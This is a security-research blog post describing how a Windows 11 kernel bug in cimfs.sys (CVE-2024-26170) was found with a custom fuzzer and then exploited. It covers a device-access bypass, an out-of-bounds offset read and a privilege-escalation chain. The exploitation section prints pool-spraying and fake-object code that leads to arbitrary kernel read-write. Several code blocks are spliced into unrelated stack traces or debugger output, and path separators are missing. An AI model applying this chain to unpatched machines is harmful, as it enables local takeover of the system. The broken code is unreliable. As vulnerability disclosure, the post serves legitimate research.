## Introduction
Many vulnerability writeups nowadays focus on the exploitation process when it comes to software bugs. The term “Exploit Developer” is also still used synonymously with Vulnerability Research, presumably coming from the early 2000s where bugs were easily discoverable and the community was just beginning to explore the art of exploitation. However nowadays with SDL and continuous fuzzing, the discovery of unknown vulnerabilities in crucial systems is getting more important, arguably more than the exploitation process. In order to encourage more writing on the aspect of Vulnerability Discovery, we are releasing this blogpost discussing the journey of finding and exploiting a kernel 0day in Windows 11 for Local Privilege Escalation.
The bugs mentioned in this post were all patched in the **March 2024** update as `CVE-2024-26170`. After one year of patching, we feel ready to release this blog post. The bugs were patched by simply restricting access to the driver from unprivileged users, so they were not identifiable by patch diffing. This also means the bugs are still Admin->Kernel 0days, but there are many such attack avenues on Windows and Microsoft does not treat them as a breach of security boundary.
## The Beginning
It was early 2024 when I first joined STAR Labs, and right from the start, our boss had us focused on preparing for Pwn2Own 2024. Among the many potential targets he pointed out, one stood out: `cimfs.sys`, the Composite Image File System driver. This particular driver, part of the default installation on Windows 11, seemed to offer an interesting opportunity. It did not have any known vulnerabilities at the time, which made it an exciting yet risky prospect for us. On one hand, it was a clean slate. A potential new attack surface. On the other hand, this lack of prior research or N-day exploits meant we were venturing into uncharted territory. We had to build our understanding from the ground up, with no roadmap to guide us. And so, the challenge began.
But, just when we thought we were onto something promising, the rug was pulled out from under us. The bugs were patched even before Pwn2Own 2024 kicked off. Talk about a bummer! All that hard work to find a vulnerability in a new target, and just as we were gearing up, it was already closed off.
A little information regarding the **Composite Image File Format**(CIM):
“`
A CIM is a file-backed image format similar in concept to a WIM. The CIM format consists of a small collection of flat files that include one or more data and metadata region files, one or more object ID files and one or more filesystem description files. As a result of their “flatness” CIMs are faster to construct, extract and delete than the equivalent raw directories they contain. CIMs are composite in that a given image can contain multiple file system volumes which can be mounted individually while sharing the same data region backing files. Once constructed, a CIM can be mounted with the support of the CimFS driver. The mount constructs a read-only disk and file system volume device for the image. The contents of a mounted CIM can be accessed read-only using the standard Win32 or NT API file system interface. The CimFS file system supports many of the constructs of NTFS such as security descriptors, alternate data streams, hard links, and re-parse points.
“`
TLDR: Another filesystem that can be mounted and read from via Win32 APIs. File requests will be handled by the driver `cimfs.sys` to emulate a readonly filesystem.
The driver exposes a control device object `Devicecimfscontrol` to facilitate the creation of new CimFS volumes. Usermode clients can interact with the control device by issuing IOCTLs. For example, the IOCTL code 0x220004 is used to mount a new CimFS volume.
“`
switch ( CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode ) { case 0x220004u: // mount volume … for ( i = CimFs::g_LoadReference + 1; i > 1; i = v85 + 1 ) { v86 = v85; v85 = _InterlockedCompareExchange64(&CimFs::g_LoadReference, i, v85); if ( v86 == v85 ) { mountImageFlags = userBuffer->MountImageFlags; regionSetBuf = (_UNICODE_STRING)regionSetBufRef; bufferContainingPath = v114; result = CimFs::MountVolume( &bufferContainingPath, (struct cstmREGION_SET *)®ionSetBuf, regionOffset, userBuffer, mountImageFlags); if ( (int)result >= 0 ) return result; v88 = _InterlockedDecrement64(&CimFs::g_LoadReference); if ( v88 > 0 ) return result; if ( v88 ) __fastfail(0xEu); LABEL_197: __fastfail(0xEu); } } … }
“`
## Auth Bypass
The security descriptor set on this device object restricts access to Administrators only.
“`
Sddl: D:P(A;;GA;;;SY)(A;;GA;;;BA) Owner : Group : DiscretionaryAcl : {NT AUTHORITYSYSTEM: AccessAllowed (GenericAll), BUILTINAdministrators: AccessAllowed (GenericAll)} SystemAcl : {} RawDescriptor : System.Security.AccessControl.CommonSecurityDescriptor
“`
This means the driver was probably not intended to be exposed to unprivileged clients.
However the `FILE_DEVICE_SECURE_OPEN` flag is not set during device creation, allowing unprivileged users to open a handle and issue IOCTLs to the control device by simply treating it as a filesystem drive.
“`
hDevice = CreateFileW( L”\??\CimfsControl\something”, 0, 0, NULL, OPEN_EXISTING, 0, NULL );
“`
The logic is, we are unable to open the root device `\??\CimfsControl` directly due to the DACL set on the object, but that is not propagated to any child devices under the root device, such as `\??\CimfsControl\abcdef`. All requests will be handled by the control device anyways, allowing us to bypass authentication and open up the attack surface.
## Mount Operation
Before deciding on the plan of attack, we need to explore how `cimfs.sys` works, starting from the mount operation. Luckily for us, cimfs comes with a usermode companion DLL `cimfs.dll`, and its functions are documented. The DLL is not aware of the auth bypass, so we have to either patch the DLL or issue the calls to the driver manually.
By reversing the companion DLL, we are able to recover the arguments to call mount manually:
“`
typedef struct { GUID RegionGUID; WORD RegionCount; WORD Padding; DWORD Padding1; } REGION_FIELD; typedef struct { GUID VolumeGUID; ULONG64 RegionOffset; DWORD MountImageFlags; WORD RegionEntryCount; WORD ImageContainingPathLengthBytes; REGION_FIELD Regions[1]; WCHAR ImageContainingPath[]; } IOCTL_MOUNT_BUFFER_DATA;
“`
Before mount, we need to create some files that stores the underlying CIM filesystem. These files look like:
and are created by the companion DLL in exported function `CimCreateImage()`.
These files have a complex binary format that’s completely undocumented, and it will be quite difficult to fully recover the format. In particular, the region file is 135168 bytes large, storing various data segments, stream segments, reparse data, hardlink data, security descriptor, file hash… It’s essentially a full filesystem!
During mount, cimfs.sys
– Uses the `Cim::ImageReader::*` functions to extract metadata from the region file
– Creates a new disk device under `Devicecimfs`
– Creates a new volume device
– Stores metadata in the DeviceExtension of each device
“`
VolumeDeviceObject_1->Extension.ChildOnly = MountImageFlags & 1; VolumeDeviceObject_1->Extension.DirectAccess = (MountImageFlags & 2) != 0; VolumeDeviceObject_1->DeviceObject.StackSize = ModifiedStackSize + 1; VolumeDeviceObject_1->DeviceObject.Flags |= ModifiedFlags; VolumeDeviceObject_1->DeviceObject.Flags &= 0xFFFFFF7F;// &~ DO_DEVICE_INITIALIZING VolumeDeviceObjectRef1 = VolumeDeviceObject_1; VolumeDeviceObject_1 = 0LL; DiskDeviceObject->Extension.VolumeDevice = VolumeDeviceObjectRef1; DiskDeviceObject->DeviceObject.Flags &= 0xFFFFFF7F;// &~ DO_DEVICE_INITIALIZING DiskDeviceObject = 0LL; StackSize = DeviceObject->StackSize; if ( (char)(ModifiedStackSize + 1) >= StackSize ) StackSize = ModifiedStackSize + 1; DeviceObject->StackSize = StackSize; v85 = CimFs::NotifyMountManager(&outputDeviceNameWchar, 1);
“`
After mounting, the volume device will be available under the `\?Volume{VOLUME_GUID}` global directory, where we can create a handle and use normal Win32 APIs to interact with.
For example:
“`
CimManualMountImage(ImageContainingPath, ImageName, MountImageFlags, VolumeId); StringFromGUID2(VolumeId, &volumeIdString, GUID_BUFFER_SIZE_WCHAR); wsprintfW(&mountedVolumeRoot, L”\\?\Volume%s\”, volumeIdString); // Attempt to create a handle to the file1(hardlink ADS) wsprintfW(commonPathBuffer, L”%s%s”, mountedVolumeRoot, Name1); hFile = FsOpenReadonlyFile(commonPathBuffer);
“`
We can use the handle `hFile` like a normal file now. All file operations will be forwarded down the filesystem stack until it hits the volume device created during mount. cimfs detects it’s a volume device by checking the device extension, then completes the filesystem request by parsing the region file.
## Attack Plan
The region file is a complex filesystem stored in a single file. In fact, it supports many NTFS operations, such as Alternate Data Stream(ADS), Hardlink, Security Descriptors, Attributes, Reparse Data, Extended Attributes(EA)…
The cimfs driver has to parse this region file to attend to any of these requests. As we know from history, parsing is hard. It is probably a good idea to fuzz the driver first while we manually work out the file format, rather than getting stuck at reversing and wasting time.
I quickly wrote a custom fuzzer to throw test cases at the driver. The idea is, we have already audited the mount image code, so we want to focus on the operations **after** mount. We will use the mount operation as a verifier. Any mutation that leads to a failed mount will be discarded(really coarse but good enough for a simple fuzz). This way we get to control and direct mutation without any additional instrumentation. After successfully mounting, we will exercise parsing code by calling Win32 APIs.
The main logic looks like:
“`
// Create initial corpus files FuzzerCreateInitialCorpus(ATTRIBUTES_COPY_FILE, FILESYSTEM_FILE_NAME, FILESYSTEM_HARDLINK, FILESYSTEM_FILE_ADS, IMAGE_CONTAINING_PATH, IMAGE_NAME); // Generate volume GUID for mount UuidCreate(&volumeId); // Read initial corpus into memory // Start by reading on disk headers in cim file to obtain region GUID hCimfile = FsOpenReadonlyFile(initialCimFile); if (hCimfile == INVALID_HANDLE_VALUE) { FATAL(“[-] main fail: FsOpenReadonlyFile(0x%08X)n”, GetLastError()); } if (!CimGetRegionGUID(hCimfile, ®ionId)) { FATAL(“[-] main fail: CimGetRegionGUID(0x%08X)n”, GetLastError()); } CloseHandle(hCimfile); // Now load corpus StringFromGUID2(®ionId, ®ionIdString, GUID_BUFFER_SIZE_WCHAR); // Remove braces {} regionIdString[37] = 0; wsprintfW(initialCorpusPath, IMAGE_CONTAINING_PATH L”region_%s_0″, ®ionIdString[1]); FuzzerLoadCorpusInMem(initialCorpusPath); // Dry run status = FuzzerTryMountAndCreateHandles(IMAGE_CONTAINING_PATH, IMAGE_NAME, CIM_MOUNT_CHILD_ONLY, &volumeId, FILESYSTEM_HARDLINK_ADS, FILESYSTEM_HARDLINK, &hHardlinkAds, &hFile); if (!status) { FATAL(“[-] Dry run fail: FuzzerTryMountAndCreateHandles(0x%08X)n”, GetLastError()); } FuzzerQueryHandle(hFile); FuzzerQueryHandle(hHardlinkAds); puts(“[+] Dry run success”); // Dry run cleanup CloseHandle(hFile); CloseHandle(hHardlinkAds); CimDismountImage(&volumeId); for (LARGE_INTEGER effectiveOffset = { 0 } ;;) { MutatorMutate(&from); nullOrMutate = MutatorGetRandomOffset(1, 10); // Count from end // We don’t use SEEK_END because we want to compute effectiveOffset right now to check whether it’s mutable if (from & 1) { curOffset = MutatorGetRandomOffset(0, EFFECTIVE_FUZZ_BACK); effectiveOffset.QuadPart = maxOffset – curOffset; } else { curOffset = MutatorGetRandomOffset(0, EFFECTIVE_FUZZ_FRONT); effectiveOffset.QuadPart = FUZZ_FRONT_START + curOffset; } // Checks on current offset if (BitmapIsUntouchable(effectiveOffset.QuadPart)) continue; // Open file and set to proper offset to mutate hRegionFile = FsOpenWriteonlyFile(initialCorpusPath); if (GetLastError() == 0x20) { // Sometimes dismount operation takes a while Sleep(5000); hRegionFile = FsOpenWriteonlyFile(initialCorpusPath); } if (hRegionFile == INVALID_HANDLE_VALUE) { FATAL(“[-] Write sample fail: FsOpenWriteonlyFile(0x%08X)n”, GetLastError()); } status = SetFilePointerEx(hRegionFile, effectiveOffset, NULL, FILE_BEGIN); if (!status) { FATAL(“[-] Write sample fail: SetFilePointerEx(0x%08X)n”, GetLastError()); } // Write mutated byte if (nullOrMutate > 8) mutated = 0; // 20% chance of nulling else MutatorMutate(&mutated); status = WriteFile(hRegionFile, &mutated, sizeof(BYTE), &written, NULL); if (!status) { FATAL(“[-] Write sample fail: WriteFile(0x%08X)n”, GetLastError()); } CloseHandle(hRegionFile); printf(“[*] Mutated BYTE from to n”, effectiveOffset.QuadPart, initialCorpusInMem[effectiveOffset.QuadPart], mutated); // Verify mutation doesn’t affect mount and create status = FuzzerTryMountAndCreateHandles(IMAGE_CONTAINING_PATH, IMAGE_NAME, CIM_MOUNT_IMAGE_NONE, &volumeId, FILESYSTEM_HARDLINK_ADS, FILESYSTEM_FILE_NAME, &hHardlinkAds, &hFile); if (!status) { // Mutation caused either mount or create to fail printf(“[*] Untouchable BYTE: n”, effectiveOffset.QuadPart); // Make sure to not mutate in future BitmapSetUntouchable(effectiveOffset.QuadPart); // Revert mutation hRegionFile = FsOpenWriteonlyFile(initialCorpusPath); if (GetLastError() == 0x20) { // Sometimes dismount operation takes a while Sleep(5000); hRegionFile = FsOpenWriteonlyFile(initialCorpusPath); } if (hRegionFile == INVALID_HANDLE_VALUE) { FATAL(“[-] Write sample fail: FsOpenWriteonlyFile(0x%08X)n”, GetLastError()); } mutated = initialCorpusInMem[effectiveOffset.QuadPart]; status = SetFilePointerEx(hRegionFile, effectiveOffset, NULL, FILE_BEGIN); if (!status) { FATAL(“[-] Write sample fail: SetFilePointerEx(0x%08X)n”, GetLastError()); } status = WriteFile(hRegionFile, &mutated, sizeof(BYTE), &written, NULL); if (!status) { FATAL(“[-] Write sample fail: WriteFile(0x%08X)n”, GetLastError()); } CloseHandle(hRegionFile); continue; } // Perform filesystem query on the two handles to fuzz FuzzerQueryHandle(hFile); FuzzerQueryHandle(hHardlinkAds); // Finally, cleanup CloseHandle(hFile); CloseHandle(hHardlinkAds); CimDismountImage(&volumeId); } out: CimDismountImage(&volumeId);
“`
The most important part is the initial corpus creation. We want its entropy to be very high so there’s a bigger chance of our mutation triggering nested complexity. You’d be surprised at how many programs crash when you enable every single feature possible.
“`
// Create main CIM image hs = CimCreateImage(ImageContainingPath, NULL, ImageName, &hImage); if (hs != S_OK) { FATAL(“[-] Create corpus fail: CimCreateImage(0x%08X)n”, hs); } wprintf(L”[+] Created CIM file at %sn”, ImageName, ImageContainingPath); // Create a filesystem file with filled attributes for maximum entropy // First open a dummy file to Retrieve attributes // Lazy to code so use explorer to set bunch of attributes hAttributesFile = FsOpenReadonlyFile(AttributesFile); if (hAttributesFile == INVALID_HANDLE_VALUE) { FATAL(“[-] Create corpus fail: FsOpenReadonlyFile(0x%08X)n”, GetLastError()); } // Set basic info status = FsGetBasicFileInfo(hAttributesFile, &attributesInfo); if (!status) { FATAL(“[-] Create corpus fail: FsGetBasicFileInfo(0x%08X)n”, GetLastError()); } // Add some random attributes metadata.Attributes = FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_EA | FILE_ATTRIBUTE_ARCHIVE | FILE_ATTRIBUTE_RECALL_ON_OPEN; metadata.ChangeTime = attributesInfo.ChangeTime; metadata.CreationTime = attributesInfo.CreationTime; metadata.LastAccessTime = attributesInfo.LastAccessTime; metadata.LastWriteTime = attributesInfo.LastWriteTime; // Set security descriptor errCode = FsGetAllSecurityInfo(hAttributesFile, &securityDescriptor); if (errCode != ERROR_SUCCESS) { FATAL(“[-] Create corpus fail: FsGetAllSecurityInfo(0x%08X)n”, errCode); } metadata.SecurityDescriptorBuffer = securityDescriptor; metadata.SecurityDescriptorSize = GetSecurityDescriptorLength(securityDescriptor); // Set random reparse info reparseBuf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x80); reparseBuf->ReparseTag = 0xcafebabe; reparseBuf->ReparseDataLength = 0x0; reparseBuf->Reserved = 0; metadata.ReparseDataBuffer = reparseBuf; metadata.ReparseDataSize = 0x0; // Set random EA info eaInfo = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0xa0); eaInfo->Flags = FILE_NEED_EA; RtlCopyMemory(&eaInfo->EaName, “RandomName1”, 11); eaInfo->EaNameLength = 11; RtlCopyMemory((ULONG_PTR)&eaInfo->EaName + 11 + 1, “RandomValue1”, 12); eaInfo->EaValueLength = 12; eaInfo->NextEntryOffset = 0x00; eaInfo = (ULONG_PTR)eaInfo + 0x40; RtlCopyMemory(&eaInfo->EaName, “RandomName2”, 11); eaInfo->EaNameLength = 11; RtlCopyMemory((ULONG_PTR)&eaInfo->EaName + 11 + 1, “RandomValue2”, 12); eaInfo->EaValueLength = 12; eaInfo->NextEntryOffset = 0x0; eaInfo = (ULONG_PTR)eaInfo – 0x40; metadata.EaBuffer = eaInfo; metadata.EaBufferSize = 0xa0; // Create the filesystem file metadata.FileSize = FILESYSTEM_FILE_SIZE; hs = CimCreateFile(hImage, FilesystemFilename, &metadata, &hStream); if (hs != S_OK) { FATAL(“[-] Create corpus fail: CimCreateFile(0x%08X)n”, hs); } // Write stream data in file memset(&streamContent, ‘B’, sizeof(streamContent)); hs = CimWriteStream(hStream, &streamContent, sizeof(streamContent)); if (hs != S_OK) { FATAL(“[-] Create corpus fail: CimWriteStream(0x%08X)n”, hs); } CimCloseStream(hStream); wprintf(L”[+] Created filesystem file n”, FilesystemFilename); // Create ADS hs = CimCreateAlternateStream(hImage, ADSName, FILESYSTEM_ADS_SIZE, &hStream); if (hs != S_OK) { FATAL(“[-] Create corpus fail: CimCreateAlternateStream(0x%08X)n”, hs); } // Write data to ADS memset(&adsContent, ‘C’, sizeof(adsContent)); hs = CimWriteStream(hStream, &adsContent, sizeof(adsContent)); if (hs != S_OK) { FATAL(“[-] Create corpus fail: CimWriteStream(0x%08X)n”, hs); } CimCloseStream(hStream); wprintf(L”[+] Created alternate stream n”, ADSName); // Create Hardlink hs = CimCreateHardLink(hImage, FilesystemHardlink, FilesystemFilename); if (hs != S_OK) { FATAL(“[-] Create corpus fail: CimCreateHardLink(0x%08X)n”, hs); } wprintf(L”[+] Created hardlink n”, FilesystemHardlink); hs = CimCommitImage(hImage); if (hs != S_OK) { FATAL(“[-] Create corpus fail: CimCommitImage(0x%08X)n”, hs); } puts(“[+] Committed CIM image”); CimCloseImage(hImage);
“`
Finally we want to exercise the parsing logic:
“`
ReadFile(hFile, &commonBuf, 0x5, &read, NULL); // Query all possible information for (int i = 4; i +0x66 0f fffffb84`f8b96bc0 fffff805`1372a1d6 nt!IofCallDriver+0x55 10 fffffb84`f8b96c00 fffff805`13727e23 FLTMGR!FltpLegacyProcessingAfterPreCallbacksCompleted+0x156 11 fffffb84`f8b96c70 fffff805`12307015 FLTMGR!FltpDispatch+0xa3 12 fffffb84`f8b96cd0 fffff805`122cce27 nt!IofCallDriver+0x55 13 fffffb84`f8b96d10 fffff805`122d2617 nt!IoPageReadEx+0x2d7 14 fffffb84`f8b96d80 fffff805`122d1be7 nt!MiIssueHardFaultIo+0x107 15 fffffb84`f8b96dd0 fffff805`1227de21 nt!MiIssueHardFault+0x207 16 fffffb84`f8b96e80 fffff805`12244412 nt!MmAccessFault+0x331 17 fffffb84`f8b96fa0 fffff805`1278522d nt!MiPrefetchVirtualMemory+0x25a 18 fffffb84`f8b970c0 fffff805`124466e5 nt!NtSetInformationVirtualMemory+0x5cd 19 fffffb84`f8b97430 00007fff`ee412904 nt!KiSystemServiceCopyEnd+0x25 1a 00000027`c6b7d8b8 00007fff`eb97830a ntdll!NtSetInformationVirtualMemory+0x14 1b 00000027`c6b7d8c0 00007fff`cba89e1f KERNELBASE!PrefetchVirtualMemory+0x2a 1c 00000027`c6b7d900 00007fff`cba89816 mprtp!RealtimeProtection::CFileSystemScanRequest::PrefetchFileContent+0x6f 1d 00000027`c6b7d980 00007fff`cba88eaa mprtp!RealtimeProtection::CFileSystemScanRequest::MapInitialView+0x2c6 1e 00000027`c6b7de60 00007fff`cba88b53 mprtp!RealtimeProtection::CFileSystemScanRequest::ReadFileData+0x13a 1f 00000027`c6b7ded0 00007fff`ca5a9d5a mprtp!RealtimeProtection::EngineVfzReadFileCallback+0x243 20 00000027`c6b7df30 00007fff`ca5733b7 mpengine!StreamBufferWrapper::Read+0x52 21 00000027`c6b7df70 00007fff`ca573216 mpengine!nUFSP_vfz::Read+0x87 22 00000027`c6b7dfb0 00007fff`cae84f23 mpengine!UfsPluginWrapper::Read+0x76 23 00000027`c6b7e010 00007fff`ca4cd997 mpengine!UfsIoCache::ReadBlock+0x2a3 24 00000027`c6b7e090 00007fff`ca4cd788 mpengine!UfsIoCache::Read+0x97 25 00000027`c6b7e110 00007fff`ca4cc667 mpengine!UfsFile::Read+0xd8 26 00000027`c6b7e170 00007fff`ca4fe43a mpengine!LoadHeader+0x8f 27 00000027`c6b7e1c0 00007fff`ca4fdfe2 mpengine!UfsNode::Open+0x2fe 28 00000027`c6b7e2b0 00007fff`ca4fd5f7 mpengine!UfsClientRequest::AnalyzeLeaf+0xd6 29 00000027`c6b7e360 00007fff`ca57f66c mpengine!UfsClientRequest::AnalyzePath+0x24f 2a 00000027`c6b7e420 00007fff`ca4fb04c mpengine!UfsCmdBase::ExecuteCmd >+0x154 2b 00000027`c6b7e4c0 00007fff`ca75516f mpengine!ScanStreamBuffer+0x46c 2c 00000027`c6b7e770 00007fff`ca754d15 mpengine!ksignal+0x37f 2d 00000027`c6b7eab0 00007fff`caa55818 mpengine!DispatchSignalHelper+0x71 2e 00000027`c6b7eb10 00007fff`de3605e2 mpengine!DispatchSignalOnHandle+0x1a8 2f 00000027`c6b7eed0 00007fff`cba941a9 mpsvc!rsignal_wrapper+0x1d2 30 00000027`c6b7ef60 00007fff`cba92dd6 mprtp!RealtimeProtection::CCMEngine::ScanFile+0x189 31 00000027`c6b7f170 00007fff`cba927f4 mprtp!RealtimeProtection::CFileSystemAgent::ScanFile+0x446 32 00000027`c6b7f540 00007fff`cbaa02c6 mprtp!RealtimeProtection::CFileSystemAgent::HandleFileScanRequest+0xb4 33 00000027`c6b7f5d0 00007fff`cbaab8eb mprtp!RealtimeProtection::CFileSystemWatcher::HandleRequest+0x856 34 00000027`c6b7fca0 00007fff`cbb52fe4 mprtp!RealtimeProtection::CFilterCommunicatorBase::CommunicatorMainFunction+0x2ab 35 00000027`c6b7fd50 00007fff`cbaf3ae0 mprtp!RealtimeProtection::CFilterCommunicatorBase::CommunicatorThread+0x24 36 00000027`c6b7fd90 00007fff`ed8a257d mprtp!thread_start+0x50 37 00000027`c6b7fdc0 00007fff`ee3caa58 KERNEL32!BaseThreadInitThunk+0x1d 38 00000027`c6b7fdf0 00000000`00000000 ntdll!RtlUserThreadStart+0x28
“`
This bug is triggered via a `ReadFile()` call to the Alternate Data Stream of a Hardlink of a hidden archive file(power of high entropy!). Interestingly it was also triggered when Microsoft Defender was trying to scan our opened file handle.
As mentioned above, cimfs uses `Cim::FileSystem::*` functions to parse the region file.
An example of a well written function is `Cim::FileSystem::GetMappingSegment()`.
“`
__int64 __fastcall Cim::FileSystem::GetMappingSegment( Cim::FileSystem *this, const struct Cim::FileSystem::OpenFile *a2, struct Cim::FileSystem::RegionSegment *a3) { … if ( !Cim::ImageReader::GetStruct( (struct cstmREGION_COUNT_VIEW_BUFFER *)((char *)this + 8), (__int64 *)&v12, v11.m128i_i64[0]) ) return 3221274625i64; if ( (*(_BYTE *)(v12 + 22) & 1) != 0 ) { … if ( Cim::ImageReader::GetOffsetTruncate(v5, v9, 0i64, (_QWORD *)a3 + 1, &v12) && v8 p CimFS!Cim::FileSystem::GetDataSegment+0x8d: fffff805`ce431559 498901 mov qword ptr [r9],rax 7: kd> r rax rax=0000434343434343
“`
As execution continues, the offset is used to locate a pointer to a file object in kernel memory, which is then passed to `IoGetRelatedDeviceObject()`. With an unvalidated offset, the read occurs beyond the bounds of the driver allocated pool chunk and the “pointer” may come from a completely unrelated chunk.
“`
v15 = (unsigned __int16)userControl; v16 = 0xB8i64 * (unsigned __int16)userControl; RegionView = (__int64)deviceObjectRef->Extension.RegionView; v35 = *(_BYTE *)(v16 + RegionView + 136); v46 = *(PFILE_OBJECT *)(v16 + RegionView + 8); RelatedDeviceObject = IoGetRelatedDeviceObject(v46);
“`
This device object is later passed to `IofCallDriver()` under conditions fully controlled by the user.
“`
IoBuildPartialMdl(irp->MdlAddress, AssociatedIrp->MdlAddress, VirtualAddress, v20); AssociatedIrp->Flags = AssociatedIrp->Flags & 0xFFFFFFF7 | irp->Flags & 0x101; v31 = AssociatedIrp->Tail.Overlay.CurrentStackLocation; v31[-1].CompletionRoutine = (PIO_COMPLETION_ROUTINE)CimFs::AssociatedIrpCompletionRoutine; v31[-1].Context = irp; v31[-1].Control = -32; v32 = AssociatedIrp->Tail.Overlay.CurrentStackLocation; v32[-1].FileObject = v46; v32[-1].MajorFunction = 3; v32[-1].Parameters.Read.Length = v20; v32[-1].Parameters.Read.ByteOffset.QuadPart = *((_QWORD *)&userControl + 1); IofCallDriver(RelatedDeviceObject, AssociatedIrp);
“`
By spraying the kernel pool with custom objects, an attacker can craft a fake device object structure in kernel memory, which will be returned by `IoGetRelatedDeviceObject()` and passed to `IofCallDriver()`. The latter function dereferences the fake device object to find a fake driver object, then calls a function pointer controlled by the attacker inside the driver object. With this, the attacker obtains an arbitrary call primitive, and it would be trivial to bypass CFG and elevate privileges.
## Exploitation
As mentioned above, it is possible to control `IoGetRelatedDeviceObject()` to operate on a pointer from an adjacent allocation in the paged pool. The function expects a `PFILE_OBJECT`, so we should fake a file object in kernel memory, then spray its address in the paged pool. When `IoGetRelatedDeviceObject()` operates on this address, it will operate on our fake file object, which will return a fake device object for `IofCallDriver()` to call. `IofCallDriver()` then dereferences the device object and makes a call to its `DriverObject` member, with the first argument being the device object itself.
“`
(DeviceObject->DriverObject.MajorFunction[3])(DeviceObject, Irp);
“`
Since we fully control `DeviceObject`, this grants us an arbitrary call primitive with one controlled argument. We can call a dereference function such as `DirectComposition::CSharedResourceMarshaler::ReleaseAllReferences()` to obtain an arbitrary zero primitive.
“`
v2 = *(_QWORD *)(a1 + 0x38); if ( v2 ) { result = ObfDereferenceObject((PVOID)(v2 – 0x18)); *(_QWORD *)(a1 + 0x38) = 0i64; } return result;
“`
The `*(_QWORD *)(a1 + 0x38) = 0i64` allows us to write a null QWORD to an arbitrary address. We use this to null out the `PreviousMode` field of our thread, getting full arbitrary read-write.
The reason we don’t fake this object in usermode is because this bug is usually triggered by an antivirus driver, such as Windows Defender. These software often register post create handlers in order to scan file contents before allowing clients to read. Since they definitely read the file before us, the bug will be triggered in the context of their process, which we have no control over.
We use the well known `_WNF_STATE_DATA` object to house the fake file object, as well as to spray the address of the file object. This is because `NtUpdateWnfStateData()` allows us to modify the contents of the chunk after it has been allocated, which is crucial in this exploit since we can only look up the chunk’s address after it is allocated.
Unfortunately `_WNF_STATE_DATA` does not come with a handle for `NtQuerySystemInformation()` to operate on, so we use the `KeyedEvent` object to help with pool fengshui. A `KeyedEvent` object can be allocated using the `NtCreateKeyedEvent()` API, and has a fixed size of `0x680` bytes. If we spray `_WNF_STATE_DATA` objects with a size of `0x880` bytes first, we can force these two objects to always be contiguous to each other on the same page.
“`
for (int i = 0; i !pool 0xffffd80970703020 Pool page ffffd80970703020 region is Paged pool *ffffd80970703000 size: 880 previous size: 0 (Allocated) *Wnf Process: ffffb108db4d60c0 Pooltag Wnf : Windows Notification Facility, Binary : nt!wnf ffffd80970703890 size: 680 previous size: 0 (Allocated) Keye ffffd80970703f10 size: d0 previous size: 0 (Free) D..; 0: kd> !pool 0xffffd80970704020 Pool page ffffd80970704020 region is Paged pool *ffffd80970704000 size: 880 previous size: 0 (Allocated) *Wnf Process: ffffb108db4d60c0 Pooltag Wnf : Windows Notification Facility, Binary : nt!wnf ffffd80970704890 size: 680 previous size: 0 (Allocated) Keye ffffd80970704f10 size: d0 previous size: 0 (Free) D..; 0: kd> !pool 0xffffd80970705020 Pool page ffffd80970705020 region is Paged pool *ffffd80970705000 size: 880 previous size: 0 (Allocated) *Wnf Process: ffffb108db4d60c0 Pooltag Wnf : Windows Notification Facility, Binary : nt!wnf ffffd80970705890 size: 680 previous size: 0 (Allocated) Keye ffffd80970705f10 size: d0 previous size: 0 (Free) D..;
“`
The reason is because two `_WNF_STATE_DATA` chunks are too big to be housed in the same page, so there will always be space for a `KeyedEvent` chunk if we spray sufficiently.
Now we can leak an arbitrary `KeyedEvent` object’s address, and subtract by `0x8d0` bytes to get the `_WNF_STATE_DATA` chunk address.
Since we don’t know which WNF chunk was leaked, we update all their contents to become fake file objects.
“`
// Craft fake chunk chain // IoGetRelatedDeviceObject(fakeChunkChainStart); fakeChunkChainStart = prevWnfAddr – 0x10; // mov rax, [rcx+10h] -> rax = prevWnfAddress *(ULONG_PTR *)((ULONG64)&fakeChunkPayload + 0x0) = prevWnfAddr; // mov rax, [rax+8] -> rax = prevWnfAddress *(ULONG_PTR *)((ULONG64)&fakeChunkPayload + DRIVER_OBJECT_OFFSET) = prevWnfAddr; // fake device object/driver object = prevWnfAddr *(BYTE *)((ULONG64)&fakeChunkPayload + STACK_SIZE_OFFSET) = 1; /* * Gadget dependent offset v2 = *(_QWORD *)(a1 + 0x38); if ( v2 ) { result = ObfDereferenceObject((PVOID)(v2 – 0x18)); *(_QWORD *)(a1 + 0x38) = 0i64; } return result; */ cfgBypassGadget = win32kbase + GADGET_OFFSET; ownKthreadPreviousMode = ownKthread + PREVIOUSMODE_OFFSET; *(ULONG_PTR *)((ULONG64)&fakeChunkPayload + 0x38) = ownKthreadPreviousMode + 0x48; // Fake IRP major function *(ULONG_PTR *)((ULONG64)&fakeChunkPayload + (ULONG64)MAJOR_FUNCTION_OFFSET + 24) = cfgBypassGadget; // IRP_MJ[3] // Write chain to memory for (int i = 0; i